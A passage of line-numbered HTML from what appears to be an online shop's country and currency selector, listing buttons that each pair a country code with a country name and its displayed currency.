3175                          <span class="popover__choice-label" >Brazil (EUR €)
3176                          </span>
3177                        </button><button type="submit" name="country_code" value="IO" class="popover__choice-item">
3178                          <span class="popover__choice-label" >British Indian Ocean Territory (USD $)
3179                          </span>
3180                        </button><button type="submit" name="country_code" value="VG" class="popover__choice-item">
3181                          <span class="popover__choice-label" >British Virgin Islands (USD $)
3182                          </span>
3183                        </button><button type="submit" name="country_code" value="BN" class="popover__choice-item">
3184                          <span class="popover__choice-label" >Brunei (BND $)
3185                          </span>
3186                        </button><button type="submit" name="country_code" value="BG" class="popover__choice-item">
3187                          <span class="popover__choice-label" >Bulgaria (EUR €)
3188                          </span>
3189                        </button><button type="submit" name="country_code" value="BF" class="popover__choice-item">
3190                          <span class="popover__choice-label" >Burkina Faso (XOF Fr)
3191                          </span>
3192                        </button><button type="submit" name="country_code" value="BI" class="popover__choice-item">
3193                          <span class="popover__choice-label" >Burundi (BIF Fr)
3194                          </span>
3195                        </button><button type="submit" name="country_code" value="KH" class="popover__choice-item">
3196                          <span class="popover__choice-label" >Cambodia (KHR ៛)
3197                          </span>
3198                        </button><button type="submit" name="country_code" value="CM" class="popover__choice-item">
3199                          <span class="popover__choice-label" >Cameroon (XAF CFA)
3200                          </span>
3201                        </button><button type="submit" name="country_code" value="CA" class="popover__choice-item">
3202                          <span class="popover__choice-label" >Canada (CAD $)
3203                          </span>
3204                        </button><button type="submit" name="country_code" value="CV" class="popover__choice-item">
3205                          <span class="popover__choice-label" >Cape Verde (CVE $)
3206                          </span>
3207                        </button><button type="submit" name="country_code" value="BQ" class="popover__choice-item">
3208                          <span class="popover__choice-label" >Caribbean Netherlands (USD $)
3209                          </span>
3210                        </button><button type="submit" name="country_code" value="KY" class="popover__choice-item">
3211                          <span class="popover__choice-label" >Cayman Islands (KYD $)
3212                          </span>
3213                        </button><button type="submit" name="country_code" value="CF" class="popover__choice-item">
3214                          <span class="popover__choice-label" >Central African Republic (XAF CFA)
3215                          </span>
3216                        </button><button type="submit" name="country_code" value="TD" class="popover__choice-item">
3217                          <span class="popover__choice-label" >Chad (XAF CFA)
3218                          </span>
3219                        </button><button type="submit" name="country_code" value="CL" class="popover__choice-item">
3220                          <span class="popover__choice-label" >Chile (EUR €)
3221                          </span>
3222                        </button><button type="submit" name="country_code" value="CN" class="popover__choice-item">
3223                          <span class="popover__choice-label" >China (CNY ¥)
3224                          </span>
3225                        </button><button type="submit" name="country_code" value="CX" class="popover__choice-item">
3226                          <span class="popover__choice-label" >Christmas Island (AUD $)
3227                          </span>
3228                        </button><button type="submit" name="country_code" value="CC" class="popover__choice-item">
3229                          <span class="popover__choice-label" >Cocos (Keeling) Islands (AUD $)
3230                          </span>
3231                        </button><button type="submit" name="country_code" value="CO" class="popover__choice-item">
3232                          <span class="popover__choice-label" >Colombia (EUR €)
3233                          </span>
3234                        </button><button type="submit" name="country_code" value="KM" class="popover__choice-item">
3235                          <span class="popover__choice-label" >Comoros (KMF Fr)
3236                          </span>
3237                        </button><button type="submit" name="country_code" value="CG" class="popover__choice-item">
3238                          <span class="popover__choice-label" >Congo - Brazzaville (XAF CFA)
3239                          </span>
3240                        </button><button type="submit" name="country_code" value="CD" class="popover__choice-item">
3241                          <span class="popover__choice-label" >Congo - Kinshasa (CDF Fr)
3242                          </span>
3243                        </button><button type="submit" name="country_code" value="CK" class="popover__choice-item">
3244                          <span class="popover__choice-label" >Cook Islands (NZD $)
3245                          </span>
3246                        </button><button type="submit" name="country_code" value="CR" class="popover__choice-item">
3247                          <span class="popover__choice-label" >Costa Rica (CRC ₡)
3248                          </span>
3249                        </button><button type="submit" name="country_code" value="CI" class="popover__choice-item">
3250                          <span class="popover__choice-label" >Côte d’Ivoire (XOF Fr)
3251                          </span>
3252                        </button><button type="submit" name="country_code" value="HR" class="popover__choice-item">
3253                          <span class="popover__choice-label" >Croatia (EUR €)
3254                          </span>
3255                        </button><button type="submit" name="country_code" value="CW" class="popover__choice-item">
3256                          <span class="popover__choice-label" >Curaçao (ANG ƒ)
3257                          </span>
3258                        </button><button type="submit" name="country_code" value="CY" class="popover__choice-item">
3259                          <span class="popover__choice-label" >Cyprus (EUR €)
3260                          </span>
3261                        </button><button type="submit" name="country_code" value="CZ" class="popover__choice-item">
3262                          <span class="popover__choice-label" >Czechia (CZK Kč)
3263                          </span>
3264                        </button><button type="submit" name="country_code" value="DK" class="popover__choice-item">
3265                          <span class="popover__choice-label" >Denmark (DKK kr.)
3266                          </span>
3267                        </button><button type="submit" name="country_code" value="DJ" class="popover__choice-item">
3268                          <span class="popover__choice-label" >Djibouti (DJF Fdj)
3269                          </span>
3270                        </button><button type="submit" name="country_code" value="DM" class="popover__choice-item">
3271                          <span class="popover__choice-label" >Dominica (XCD $)
3272                          </span>
3273                        </button><button type="submit" name="country_code" value="DO" class="popover__choice-item">
3274                          <span class="popover__choice-label" >Dominican Republic (DOP $)
3275                          </span>
3276                        </button><button type="submit" name="country_code" value="EC" class="popover__choice-item">
3277                          <span class="popover__choice-label" >Ecuador (USD $)
3278                          </span>
3279                        </button><button type="submit" name="country_code" value="EG" class="popover__choice-item">
3280                          <span class="popover__choice-label" >Egypt (EGP ج.م)
3281                          </span>
3282                        </button><button type="submit" name="country_code" value="SV" class="popover__choice-item">
3283                          <span class="popover__choice-label" >El Salvador (USD $)
3284                          </span>
3285                        </button><button type="submit" name="country_code" value="GQ" class="popover__choice-item">
3286                          <span class="popover__choice-label" >Equatorial Guinea (XAF CFA)
3287                          </span>
3288                        </button><button type="submit" name="country_code" value="ER" class="popover__choice-item">
3289                          <span class="popover__choice-label" >Eritrea (EUR €)
3290                          </span>
3291                        </button><button type="submit" name="country_code" value="EE" class="popover__choice-item">
3292                          <span class="popover__choice-label" >Estonia (EUR €)
3293                          </span>
3294                        </button><button type="submit" name="country_code" value="SZ" class="popover__choice-item">
3295                          <span class="popover__choice-label" >Eswatini (EUR €)
3296                          </span>
3297                        </button><button type="submit" name="country_code" value="ET" class="popover__choice-item">
3298                          <span class="popover__choice-label" >Ethiopia (ETB Br)
3299                          </span>
3300                        </button><button type="submit" name="country_code" value="FK" class="popover__choice-item">
3301                          <span class="popover__choice-label" >Falkland Islands (FKP £)
3302                          </span>
3303                        </button><button type="submit" name="country_code" value="FO" class="popover__choice-item">
3304                          <span class="popover__choice-label" >Faroe Islands (DKK kr.)
3305                          </span>
3306                        </button><button type="submit" name="country_code" value="FJ" class="popover__choice-item">
3307                          <span class="popover__choice-label" >Fiji (FJD $)
3308                          </span>
3309                        </button><button type="submit" name="country_code" value="FI" class="popover__choice-item">
3310                          <span class="popover__choice-label" >Finland (EUR €)
3311                          </span>
3312                        </button><button type="submit" name="country_code" value="FR" class="popover__choice-item">
3313                          <span class="popover__choice-label" >France (EUR €)
3314                          </span>
3315                        </button><button type="submit" name="country_code" value="GF" class="popover__choice-item">
3316                          <span class="popover__choice-label" >French Guiana (EUR €)
3317                          </span>
3318                        </button><button type="submit" name="country_code" value="PF" class="popover__choice-item">
3319                          <span class="popover__choice-label" >French Polynesia (XPF Fr)
3320                          </span>
3321                        </button><button type="submit" name="country_code" value="TF" class="popover__choice-item">
3322                          <span class="popover__choice-label" >French Southern Territories (EUR €)
3323                          </span>
3324                        </button><button type="submit" name="country_code" value="GA" class="popover__choice-item">
3325                          <span class="popover__choice-label" >Gabon (XOF Fr)
3326                          </span>
3327                        </button><button type="submit" name="country_code" value="GM" class="popover__choice-item">
3328                          <span class="popover__choice-label" >Gambia (GMD D)
3329                          </span>
3330                        </button><button type="submit" name="country_code" value="GE" class="popover__choice-item">
3331                          <span class="popover__choice-label" >Georgia (EUR €)
3332                          </span>
3333                        </button><button type="submit" name="country_code" value="DE" class="popover__choice-item">
3334                          <span class="popover__choice-label" >Germany (EUR €)
3335                          </span>
3336                        </button><button type="submit" name="country_code" value="GH" class="popover__choice-item">
3337                          <span class="popover__choice-label" >Ghana (EUR €)
3338                          </span>
3339                        </button><button type="submit" name="country_code" value="GI" class="popover__choice-item">
3340                          <span class="popover__choice-label" >Gibraltar (GBP £)
3341                          </span>
3342                        </button><button type="submit" name="country_code" value="GR" class="popover__choice-item">
3343                          <span class="popover__choice-label" >Greece (EUR €)
3344                          </span>
3345                        </button><button type="submit" name="country_code" value="GL" class="popover__choice-item">
3346                          <span class="popover__choice-label" >Greenland (DKK kr.)
3347                          </span>
3348                        </button><button type="submit" name="country_code" value="GD" class="popover__choice-item">
3349                          <span class="popover__choice-label" >Grenada (XCD $)
3350                          </span>
3351                        </button><button type="submit" name="country_code" value="GP" class="popover__choice-item">
3352                          <span class="popover__choice-label" >Guadeloupe (EUR €)
3353                          </span>
3354                        </button><button type="submit" name="country_code" value="GT" class="popover__choice-item">
3355                          <span class="popover__choice-label" >Guatemala (GTQ Q)
3356                          </span>
3357                        </button><button type="submit" name="country_code" value="GG" class="popover__choice-item">
3358                          <span class="popover__choice-label" >Guernsey (GBP £)
3359                          </span>
3360                        </button><button type="submit" name="country_code" value="GN" class="popover__choice-item">
3361                          <span class="popover__choice-label" >Guinea (GNF Fr)
3362                          </span>
3363                        </button><button type="submit" name="country_code" value="GW" class="popover__choice-item">
3364                          <span class="popover__choice-label" >Guinea-Bissau (XOF Fr)
3365                          </span>
3366                        </button><button type="submit" name="country_code" value="GY" class="popover__choice-item">
3367                          <span class="popover__choice-label" >Guyana (GYD $)
3368                          </span>
3369                        </button><button type="submit" name="country_code" value="HT" class="popover__choice-item">
3370                          <span class="popover__choice-label" >Haiti (EUR €)
3371                          </span>
3372                        </button><button type="submit" name="country_code" value="HN" class="popover__choice-item">
3373                          <span class="popover__choice-label" >Honduras (HNL L)
3374                          </span>
3375                        </button><button type="submit" name="country_code" value="HK" class="popover__choice-item">
3376                          <span class="popover__choice-label" >Hong Kong SAR (HKD $)
3377                          </span>
3378                        </button><button type="submit" name="country_code" value="HU" class="popover__choice-item">
3379                          <span class="popover__choice-label" >Hungary (HUF Ft)
3380                          </span>
3381                        </button><button type="submit" name="country_code" value="IS" class="popover__choice-item">
3382                          <span class="popover__choice-label" >Iceland (ISK kr)
3383                          </span>
3384                        </button><button type="submit" name="country_code" value="IN" class="popover__choice-item">
3385                          <span class="popover__choice-label" >India (INR ₹)
3386                          </span>
3387                        </button><button type="submit" name="country_code" value="ID" class="popover__choice-item">
3388                          <span class="popover__choice-label" >Indonesia (IDR Rp)
3389                          </span>
3390                        </button><button type="submit" name="country_code" value="IQ" class="popover__choice-item">
3391                          <span class="popover__choice-label" >Iraq (EUR €)
3392                          </span>
3393                        </button><button type="submit" name="country_code" value="IE" class="popover__choice-item">
3394                          <span class="popover__choice-label" >Ireland (EUR €)
3395                          </span>
3396                        </button><button type="submit" name="country_code" value="IM" class="popover__choice-item">
3397                          <span class="popover__choice-label" >Isle of Man (GBP £)
3398                          </span>
3399                        </button><button type="submit" name="country_code" value="IL" class="popover__choice-item">
3400                          <span class="popover__choice-label" >Israel (ILS ₪)
3401                          </span>
3402                        </button><button type="submit" name="country_code" value="IT" class="popover__choice-item">
3403                          <span class="popover__choice-label" >Italy (EUR €)
3404                          </span>
3405                        </button><button type="submit" name="country_code" value="JM" class="popover__choice-item">
3406                          <span class="popover__choice-label" >Jamaica (JMD $)
3407                          </span>
3408                        </button><button type="submit" name="country_code" value="JP" class="popover__choice-item">
3409                          <span class="popover__choice-label" >Japan (JPY ¥)
3410                          </span>
3411                        </button><button type="submit" name="country_code" value="JE" class="popover__choice-item">
3412                          <span class="popover__choice-label" >Jersey (EUR €)
3413                          </span>
3414                        </button><button type="submit" name="country_code" value="JO" class="popover__choice-item">
3415                          <span class="popover__choice-label" >Jordan (EUR €)
3416                          </span>
3417                        </button><button type="submit" name="country_code" value="KZ" class="popover__choice-item">
3418                          <span class="popover__choice-label" >Kazakhstan (KZT ₸)
3419                          </span>
3420                        </button><button type="submit" name="country_code" value="KE" class="popover__choice-item">
3421                          <span class="popover__choice-label" >Kenya (KES KSh)
3422                          </span>
3423                        </button><button type="submit" name="country_code" value="KI" class="popover__choice-item">
3424                          <span class="popover__choice-label" >Kiribati (EUR €)
3425                          </span>
3426                        </button><button type="submit" name="country_code" value="XK" class="popover__choice-item">
3427                          <span class="popover__choice-label" >Kosovo (EUR €)
3428                          </span>
3429                        </button><button type="submit" name="country_code" value="KW" class="popover__choice-item">
3430                          <span class="popover__choice-label" >Kuwait (EUR €)
3431                          </span>
3432                        </button><button type="submit" name="country_code" value="KG" class="popover__choice-item">
3433                          <span class="popover__choice-label" >Kyrgyzstan (KGS som)
3434                          </span>
3435                        </button><button type="submit" name="country_code" value="LA" class="popover__choice-item">
3436                          <span class="popover__choice-label" >Laos (LAK ₭)
3437                          </span>
3438                        </button><button type="submit" name="country_code" value="LV" class="popover__choice-item">
3439                          <span class="popover__choice-label" >Latvia (EUR €)
3440                          </span>
3441                        </button><button type="submit" name="country_code" value="LB" class="popover__choice-item">
3442                          <span class="popover__choice-label" >Lebanon (LBP ل.ل)
3443                          </span>
3444                        </button><button type="submit" name="country_code" value="LS" class="popover__choice-item">
3445                          <span class="popover__choice-label" >Lesotho (EUR €)
3446                          </span>
3447                        </button><button type="submit" name="country_code" value="LR" class="popover__choice-item">
3448                          <span class="popover__choice-label" >Liberia (EUR €)
3449                          </span>
3450                        </button><button type="submit" name="country_code" value="LY" class="popover__choice-item">
3451                          <span class="popover__choice-label" >Libya (EUR €)
3452                          </span>
3453                        </button><button type="submit" name="country_code" value="LI" class="popover__choice-item">
3454                          <span class="popover__choice-label" >Liechtenstein (CHF CHF)
3455                          </span>
3456                        </button><button type="submit" name="country_code" value="LT" class="popover__choice-item">
3457                          <span class="popover__choice-label" >Lithuania (EUR €)
3458                          </span>
3459                        </button><button type="submit" name="country_code" value="LU" class="popover__choice-item">
3460                          <span class="popover__choice-label" >Luxembourg (EUR €)
3461                          </span>
3462                        </button><button type="submit" name="country_code" value="MO" class="popover__choice-item">
3463                          <span class="popover__choice-label" >Macao SAR (MOP P)
3464                          </span>
3465                        </button><button type="submit" name="country_code" value="MG" class="popover__choice-item">
3466                          <span class="popover__choice-label" >Madagascar (EUR €)
3467                          </span>
3468                        </button><button type="submit" name="country_code" value="MW" class="popover__choice-item">
3469                          <span class="popover__choice-label" >Malawi (MWK MK)
3470                          </span>
3471                        </button><button type="submit" name="country_code" value="MY" class="popover__choice-item">
3472                          <span class="popover__choice-label" >Malaysia (MYR RM)
3473                          </span>
3474                        </button><button type="submit" name="country_code" value="MV" class="popover__choice-item">
3475                          <span class="popover__choice-label" >Maldives (MVR MVR)
3476                          </span>
3477                        </button><button type="submit" name="country_code" value="ML" class="popover__choice-item">
3478                          <span class="popover__choice-label" >Mali (XOF Fr)
3479                          </span>
3480                        </button><button type="submit" name="country_code" value="MT" class="popover__choice-item">
3481                          <span class="popover__choice-label" >Malta (EUR €)
3482                          </span>
3483                        </button><button type="submit" name="country_code" value="MQ" class="popover__choice-item">
3484                          <span class="popover__choice-label" >Martinique (EUR €)
3485                          </span>
3486                        </button><button type="submit" name="country_code" value="MR" class="popover__choice-item">
3487                          <span class="popover__choice-label" >Mauritania (EUR €)
3488                          </span>
3489                        </button><button type="submit" name="country_code" value="MU" class="popover__choice-item">
3490                          <span class="popover__choice-label" >Mauritius (MUR ₨)
3491                          </span>
3492                        </button><button type="submit" name="country_code" value="YT" class="popover__choice-item">
3493                          <span class="popover__choice-label" >Mayotte (EUR €)
3494                          </span>
3495                        </button><button type="submit" name="country_code" value="MX" class="popover__choice-item">
3496                          <span class="popover__choice-label" >Mexico (EUR €)
3497                          </span>
3498                        </button><button type="submit" name="country_code" value="MD" class="popover__choice-item">
3499                          <span class="popover__choice-label" >Moldova (MDL L)
3500                          </span>
3501                        </button><button type="submit" name="country_code" value="MC" class="popover__choice-item">
3502                          <span class="popover__choice-label" >Monaco (EUR €)
3503                          </span>
3504                        </button><button type="submit" name="country_code" value="MN" class="popover__choice-item">
3505                          <span class="popover__choice-label" >Mongolia (MNT ₮)
3506                          </span>
3507                        </button><button type="submit" name="country_code" value="ME" class="popover__choice-item">
3508                          <span class="popover__choice-label" >Montenegro (EUR €)
3509                          </span>
3510                        </button><button type="submit" name="country_code" value="MS" class="popover__choice-item">
3511                          <span class="popover__choice-label" >Montserrat (XCD $)
3512                          </span>
3513                        </button><button type="submit" name="country_code" value="MA" class="popover__choice-item">
3514                          <span class="popover__choice-label" >Morocco (MAD د.م.)
3515                          </span>
3516                        </button><button type="submit" name="country_code" value="MZ" class="popover__choice-item">
3517                          <span class="popover__choice-label" >Mozambique (EUR €)
3518                          </span>
3519                        </button><button type="submit" name="country_code" value="MM" class="popover__choice-item">
3520                          <span class="popover__choice-label" >Myanmar (Burma) (MMK K)
3521                          </span>
3522                        </button><button type="submit" name="country_code" value="NA" class="popover__choice-item">
3523                          <span class="popover__choice-label" >Namibia (EUR €)
3524                          </span>
3525                        </button><button type="submit" name="country_code" value="NR" class="popover__choice-item">
3526                          <span class="popover__choice-label" >Nauru (AUD $)
3527                          </span>
3528                        </button><button type="submit" name="country_code" value="NP" class="popover__choice-item">
3529                          <span class="popover__choice-label" >Nepal (NPR Rs.)
3530                          </span>
3531                        </button><button type="submit" name="country_code" value="NL" class="popover__choice-item">
3532                          <span class="popover__choice-label" >Netherlands (EUR €)
3533                          </span>
3534                        </button><button type="submit" name="country_code" value="NC" class="popover__choice-item">
3535                          <span class="popover__choice-label" >New Caledonia (XPF Fr)
3536                          </span>
3537                        </button><button type="submit" name="country_code" value="NZ" class="popover__choice-item">
3538                          <span class="popover__choice-label" >New Zealand (NZD $)
3539                          </span>
3540                        </button><button type="submit" name="country_code" value="NI" class="popover__choice-item">
3541                          <span class="popover__choice-label" >Nicaragua (NIO C$)
3542                          </span>
3543                        </button><button type="submit" name="country_code" value="NE" class="popover__choice-item">
3544                          <span class="popover__choice-label" >Niger (XOF Fr)
3545                          </span>
3546                        </button><button type="submit" name="country_code" value="NG" class="popover__choice-item">
3547                          <span class="popover__choice-label" >Nigeria (NGN ₦)
3548                          </span>
3549                        </button><button type="submit" name="country_code" value="NU" class="popover__choice-item">
3550                          <span class="popover__choice-label" >Niue (NZD $)
3551                          </span>
3552                        </button><button type="submit" name="country_code" value="NF" class="popover__choice-item">
3553                          <span class="popover__choice-label" >Norfolk Island (AUD $)
3554                          </span>
3555                        </button><button type="submit" name="country_code" value="MK" class="popover__choice-item">
3556                          <span class="popover__choice-label" >North Macedonia (MKD ден)
3557                          </span>
3558                        </button><button type="submit" name="country_code" value="NO" class="popover__choice-item">
3559                          <span class="popover__choice-label" >Norway (NOK kr)
3560                          </span>
3561                        </button><button type="submit" name="country_code" value="OM" class="popover__choice-item">
3562                          <span class="popover__choice-label" >Oman (EUR €)
3563                          </span>
3564                        </button><button type="submit" name="country_code" value="PK" class="popover__choice-item">
3565                          <span class="popover__choice-label" >Pakistan (PKR ₨)
3566                          </span>
3567                        </button><button type="submit" name="country_code" value="PS" class="popover__choice-item">
3568                          <span class="popover__choice-label" >Palestinian Territories (ILS ₪)
3569                          </span>
3570                        </button><button type="submit" name="country_code" value="PA" class="popover__choice-item">
3571                          <span class="popover__choice-label" >Panama (USD $)
3572                          </span>
3573                        </button><button type="submit" name="country_code" value="PG" class="popover__choice-item">
3574                          <span class="popover__choice-label" >Papua New Guinea (PGK K)
3575                          </span>
3576                        </button><button type="submit" name="country_code" value="PY" class="popover__choice-item">
3577                          <span class="popover__choice-label" >Paraguay (PYG ₲)
3578                          </span>
3579                        </button><button type="submit" name="country_code" value="PE" class="popover__choice-item">
3580                          <span class="popover__choice-label" >Peru (PEN S/)
3581                          </span>
3582                        </button><button type="submit" name="country_code" value="PH" class="popover__choice-item">
3583                          <span class="popover__choice-label" >Philippines (PHP ₱)
3584                          </span>
3585                        </button><button type="submit" name="country_code" value="PN" class="popover__choice-item">
3586                          <span class="popover__choice-label" >Pitcairn Islands (NZD $)
3587                          </span>
3588                        </button><button type="submit" name="country_code" value="PL" class="popover__choice-item">
3589                          <span class="popover__choice-label" >Poland (PLN zł)
3590                          </span>
3591                        </button><button type="submit" name="country_code" value="PT" class="popover__choice-item">
3592                          <span class="popover__choice-label" >Portugal (EUR €)
3593                          </span>
3594                        </button><button type="submit" name="country_code" value="QA" class="popover__choice-item">
3595                          <span class="popover__choice-label" >Qatar (QAR ر.ق)
3596                          </span>
3597                        </button><button type="submit" name="country_code" value="RE" class="popover__choice-item">
3598                          <span class="popover__choice-label" >Réunion (EUR €)
3599                          </span>
3600                        </button><button type="submit" name="country_code" value="RO" class="popover__choice-item">
3601                          <span class="popover__choice-label" >Romania (RON Lei)
3602                          </span>
3603                        </button><button type="submit" name="country_code" value="RU" class="popover__choice-item">
3604                          <span class="popover__choice-label" >Russia (EUR €)
3605                          </span>
3606                        </button><button type="submit" name="country_code" value="RW" class="popover__choice-item">
3607                          <span class="popover__choice-label" >Rwanda (RWF FRw)
3608                          </span>
3609                        </button><button type="submit" name="country_code" value="WS" class="popover__choice-item">
3610                          <span class="popover__choice-label" >Samoa (WST T)
3611                          </span>
3612                        </button><button type="submit" name="country_code" value="SM" class="popover__choice-item">
3613                          <span class="popover__choice-label" >San Marino (EUR €)
3614                          </span>
3615                        </button><button type="submit" name="country_code" value="ST" class="popover__choice-item">
3616                          <span class="popover__choice-label" >São Tomé &amp; Príncipe (STD Db)
3617                          </span>
3618                        </button><button type="submit" name="country_code" value="SA" class="popover__choice-item">
3619                          <span class="popover__choice-label" >Saudi Arabia (SAR ر.س)
3620                          </span>
3621                        </button><button type="submit" name="country_code" value="SN" class="popover__choice-item">
3622                          <span class="popover__choice-label" >Senegal (XOF Fr)
3623                          </span>
3624                        </button><button type="submit" name="country_code" value="RS" class="popover__choice-item">
3625                          <span class="popover__choice-label" >Serbia (RSD РСД)
3626                          </span>
3627                        </button><button type="submit" name="country_code" value="SC" class="popover__choice-item">
3628                          <span class="popover__choice-label" >Seychelles (EUR €)
3629                          </span>
3630                        </button><button type="submit" name="country_code" value="SL" class="popover__choice-item">
3631                          <span class="popover__choice-label" >Sierra Leone (SLL Le)
3632                          </span>
3633                        </button><button type="submit" name="country_code" value="SG" class="popover__choice-item">
3634                          <span class="popover__choice-label" >Singapore (SGD $)
3635                          </span>
3636                        </button><button type="submit" name="country_code" value="SX" class="popover__choice-item">
3637                          <span class="popover__choice-label" >Sint Maarten (ANG ƒ)
3638                          </span>
3639                        </button><button type="submit" name="country_code" value="SK" class="popover__choice-item">
3640                          <span class="popover__choice-label" >Slovakia (EUR €)
3641                          </span>
3642                        </button><button type="submit" name="country_code" value="SI" class="popover__choice-item">
3643                          <span class="popover__choice-label" >Slovenia (EUR €)
3644                          </span>
3645                        </button><button type="submit" name="country_code" value="SB" class="popover__choice-item">
3646                          <span class="popover__choice-label" >Solomon Islands (SBD $)
3647                          </span>
3648                        </button><button type="submit" name="country_code" value="SO" class="popover__choice-item">
3649                          <span class="popover__choice-label" >Somalia (EUR €)
3650                          </span>
3651                        </button><button type="submit" name="country_code" value="ZA" class="popover__choice-item">
3652                          <span class="popover__choice-label" >South Africa (EUR €)
3653                          </span>
3654                        </button><button type="submit" name="country_code" value="GS" class="popover__choice-item">
3655                          <span class="popover__choice-label" >South Georgia &amp; South Sandwich Islands (GBP £)
3656                          </span>
3657                        </button><button type="submit" name="country_code" value="KR" class="popover__choice-item">
3658                          <span class="popover__choice-label" >South Korea (KRW ₩)
3659                          </span>
3660                        </button><button type="submit" name="country_code" value="SS" class="popover__choice-item">
3661                          <span class="popover__choice-label" >South Sudan (EUR €)
3662                          </span>
3663                        </button><button type="submit" name="country_code" value="ES" class="popover__choice-item">
3664                          <span class="popover__choice-label" >Spain (EUR €)
3665                          </span>
3666                        </button><button type="submit" name="country_code" value="LK" class="popover__choice-item">
3667                          <span class="popover__choice-label" >Sri Lanka (LKR ₨)
3668                          </span>
3669                        </button><button type="submit" name="country_code" value="BL" class="popover__choice-item">
3670                          <span class="popover__choice-label" >St. Barthélemy (EUR €)
3671                          </span>
3672                        </button><button type="submit" name="country_code" value="SH" class="popover__choice-item">
3673                          <span class="popover__choice-label" >St. Helena (SHP £)
3674                          </span>
3675                        </button><button type="submit" name="country_code" value="KN" class="popover__choice-item">
3676                          <span class="popover__choice-label" >St. Kitts &amp; Nevis (XCD $)
3677                          </span>
3678                        </button><button type="submit" name="country_code" value="LC" class="popover__choice-item">
3679                          <span class="popover__choice-label" >St. Lucia (XCD $)
3680                          </span>
3681                        </button><button type="submit" name="country_code" value="MF" class="popover__choice-item">
3682                          <span class="popover__choice-label" >St. Martin (EUR €)
3683                          </span>
3684                        </button><button type="submit" name="country_code" value="PM" class="popover__choice-item">
3685                          <span class="popover__choice-label" >St. Pierre &amp; Miquelon (EUR €)
3686                          </span>
3687                        </button><button type="submit" name="country_code" value="VC" class="popover__choice-item">
3688                          <span class="popover__choice-label" >St. Vincent &amp; Grenadines (XCD $)
3689                          </span>
3690                        </button><button type="submit" name="country_code" value="SD" class="popover__choice-item">
3691                          <span class="popover__choice-label" >Sudan (EUR €)
3692                          </span>
3693                        </button><button type="submit" name="country_code" value="SR" class="popover__choice-item">
3694                          <span class="popover__choice-label" >Suriname (EUR €)
3695                          </span>
3696                        </button><button type="submit" name="country_code" value="SJ" class="popover__choice-item">
3697                          <span class="popover__choice-label" >Svalbard &amp; Jan Mayen (NOK kr)
3698                          </span>
3699                        </button><button type="submit" name="country_code" value="SE" class="popover__choice-item">
3700                          <span class="popover__choice-label" >Sweden (SEK kr)
3701                          </span>
3702                        </button><button type="submit" name="country_code" value="CH" class="popover__choice-item">
3703                          <span class="popover__choice-label" >Switzerland (CHF CHF)
3704                          </span>
3705                        </button><button type="submit" name="country_code" value="TW" class="popover__choice-item">
3706                          <span class="popover__choice-label" >Taiwan (TWD $)
3707                          </span>
3708                        </button><button type="submit" name="country_code" value="TJ" class="popover__choice-item">
3709                          <span class="popover__choice-label" >Tajikistan (TJS ЅМ)
3710                          </span>
3711                        </button><button type="submit" name="country_code" value="TZ" class="popover__choice-item">
3712                          <span class="popover__choice-label" >Tanzania (TZS Sh)
3713                          </span>
3714                        </button><button type="submit" name="country_code" value="TH" class="popover__choice-item">
3715                          <span class="popover__choice-label" >Thailand (THB ฿)
3716                          </span>
3717                        </button><button type="submit" name="country_code" value="TL" class="popover__choice-item">
3718                          <span class="popover__choice-label" >Timor-Leste (USD $)
3719                          </span>
3720                        </button><button type="submit" name="country_code" value="TG" class="popover__choice-item">
3721                          <span class="popover__choice-label" >Togo (XOF Fr)
3722                          </span>
3723                        </button><button type="submit" name="country_code" value="TK" class="popover__choice-item">
3724                          <span class="popover__choice-label" >Tokelau (NZD $)
3725                          </span>
3726                        </button><button type="submit" name="country_code" value="TO" class="popover__choice-item">
3727                          <span class="popover__choice-label" >Tonga (TOP T$)
3728                          </span>
3729                        </button><button type="submit" name="country_code" value="TT" class="popover__choice-item">
3730                          <span class="popover__choice-label" >Trinidad &amp; Tobago (TTD $)
3731                          </span>
3732                        </button><button type="submit" name="country_code" value="TA" class="popover__choice-item">
3733                          <span class="popover__choice-label" >Tristan da Cunha (GBP £)
3734                          </span>
3735                        </button><button type="submit" name="country_code" value="TR" class="popover__choice-item">
3736                          <span class="popover__choice-label" >Türkiye (EUR €)
3737                          </span>
3738                        </button><button type="submit" name="country_code" value="TN" class="popover__choice-item">
3739                          <span class="popover__choice-label" >Tunisia (EUR €)
3740                          </span>
3741                        </button><button type="submit" name="country_code" value="TM" class="popover__choice-item">
3742                          <span class="popover__choice-label" >Turkmenistan (EUR €)
3743                          </span>
3744                        </button><button type="submit" name="country_code" value="TC" class="popover__choice-item">
3745                          <span class="popover__choice-label" >Turks &amp; Caicos Islands (USD $)
3746                          </span>
3747                        </button><button type="submit" name="country_code" value="TV" class="popover__choice-item">
3748                          <span class="popover__choice-label" >Tuvalu (AUD $)
3749                          </span>
3750                        </button><button type="submit" name="country_code" value="UM" class="popover__choice-item">
3751                          <span class="popover__choice-label" >U.S. Outlying Islands (USD $)
3752                          </span>
3753                        </button><button type="submit" name="country_code" value="UG" class="popover__choice-item">
3754                          <span class="popover__choice-label" >Uganda (UGX USh)
3755                          </span>
3756                        </button><button type="submit" name="country_code" value="UA" class="popover__choice-item">
3757                          <span class="popover__choice-label" >Ukraine (UAH ₴)
3758                          </span>
3759                        </button><button type="submit" name="country_code" value="AE" class="popover__choice-item">
3760                          <span class="popover__choice-label" >United Arab Emirates (AED د.إ)
3761                          </span>
3762                        </button><button type="submit" name="country_code" value="GB" class="popover__choice-item">
3763                          <span class="popover__choice-label" >United Kingdom (GBP £)
3764                          </span>
3765                        </button><button type="submit" name="country_code" value="US" class="popover__choice-item">
3766                          <span class="popover__choice-label" aria-current="true">United States (USD $)
3767                          </span>
3768                        </button><button type="submit" name="country_code" value="UY" class="popover__choice-item">
3769                          <span class="popover__choice-label" >Uruguay (UYU $U)
3770                          </span>
3771                        </button><button type="submit" name="country_code" value="UZ" class="popover__choice-item">
3772                          <span class="popover__choice-label" >Uzbekistan (UZS so'm)
3773                          </span>
3774                        </button><button type="submit" name="country_code" value="VU" class="popover__choice-item">
3775                          <span class="popover__choice-label" >Vanuatu (VUV Vt)
3776                          </span>
3777                        </button><button type="submit" name="country_code" value="VA" class="popover__choice-item">
3778                          <span class="popover__choice-label" >Vatican City (EUR €)
3779                          </span>
3780                        </button><button type="submit" name="country_code" value="VE" class="popover__choice-item">
3781                          <span class="popover__choice-label" >Venezuela (USD $)
3782                          </span>
3783                        </button><button type="submit" name="country_code" value="VN" class="popover__choice-item">
3784                          <span class="popover__choice-label" >Vietnam (VND ₫)
3785                          </span>
3786                        </button><button type="submit" name="country_code" value="WF" class="popover__choice-item">
3787                          <span class="popover__choice-label" >Wallis &amp; Futuna (XPF Fr)
3788                          </span>
